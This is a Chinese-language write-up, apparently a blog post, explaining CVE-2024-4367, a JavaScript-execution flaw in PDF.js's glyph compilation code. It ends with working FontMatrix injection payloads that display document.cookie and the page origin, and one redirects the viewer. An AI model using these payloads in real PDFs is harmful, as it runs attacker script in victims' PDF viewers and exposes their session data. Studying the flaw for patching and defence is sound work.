CVE-2024-4367-PDF.js中任意JavaScript执行
CVE-2024-4367-PDF.js中任意JavaScript执行
CVE-2024-4367 - Arbitrary JavaScript execution in PDF.js — Codean Labs
Arbitrary JavaScript execution upon opening a malicious PDF · Advisory · mozilla/pdf.js · GitHub
GitHub - LOURC0D3/CVE-2024-4367-PoC: CVE-2024-4367 & CVE-2024-34342 Proof of Concept
GitHub - s4vvysec/CVE-2024-4367-POC: CVE-2024-4367 arbitrary js execution in pdf js
PDF.js 是由 Mozilla 维护的基于 JavaScript 的 PDF viewer
CVE-2024-4367允许攻击者在打开恶意 PDF 文件后立即执行任意 JavaScript 代码
影响范围
所有 Firefox 用户 (<126),因为 Firefox 使用 PDF.js 来显示 PDF 文件
也会严重影响(间接)许多使用 PDF.js 进行预览功能的基于 Web 和 Electron 的应用程序
实测可复现漏洞版本:
下载 firefox 旧版本:
- [安装 Firefox 以前的版本 | Firefox 帮助 (mozilla.org)](https://support.mozilla.org/zh-CN/kb/安装 Firefox 以前的版本)
- Directory Listing: /pub/firefox/releases/ (mozilla.org)
介绍
PDF.js 有两种常见的用例
它是 Firefox 内置的 PDF 查看器
它被捆绑到一个名为
pdfjs-dist
的 Node 模块中,根据 NPM,每周下载量约为 270 万次包括但不限于 Git 托管平台到笔记应用程序都用它来提供 PDF 预览功能
Glyph rendering(字形渲染)
这个漏洞和 PDF 的 JavaScript 脚本功能本身无关. 这是在对字体渲染代码的特定部分的疏忽造成的漏洞
PDF 中的字体可以有多种不同的格式,其中一些格式比其他格式更晦涩。
对于 TrueType 等现代格式,PDF.js 主要遵循浏览器自己的字体渲染器。
在其他情况下,它必须手动将字形(即字符)描述转换为页面上的曲线。为了优化性能,它为每个字形预编译了路径生成器函数。
如果支持的话,可以通过创建一个 JavaScript Function
对象来完成,该对象的主体 ( jsBuf
) 包含组成路径的指令
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// eslint-disable-next-line no-new-func
console.log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
从攻击者的角度来看,如果我们能够以某种方式控制这些 cmds
进入 Function
主体并插入我们自己的代码,那么一旦这样的字形出现,它就会被执行
/FontMatrix [1 2 3 4 5 (1\); alert\('origin: '+window.origin+'\\npdf url: '+window.PDFViewerApplication.url)]
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
<<
/BaseFont /SNCSTG+CMBX12
/FontDescriptor 7 0 R
/Subtype /Type1
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
/Type /Font
>>
/FontMatrix [1 2 3 4 5 (0\); location.href=\('https://www.baidu.com')]
/FontMatrix [1 2 3 4 5 (1\); alert\('document.domain: '+window.document.domain+'\\nlocation: '+window.location+'\\ncookie: '+window.document.cookie)]
知识星球 | CVE-2024-4367 中目前似乎还没看到什么更实际的利用方式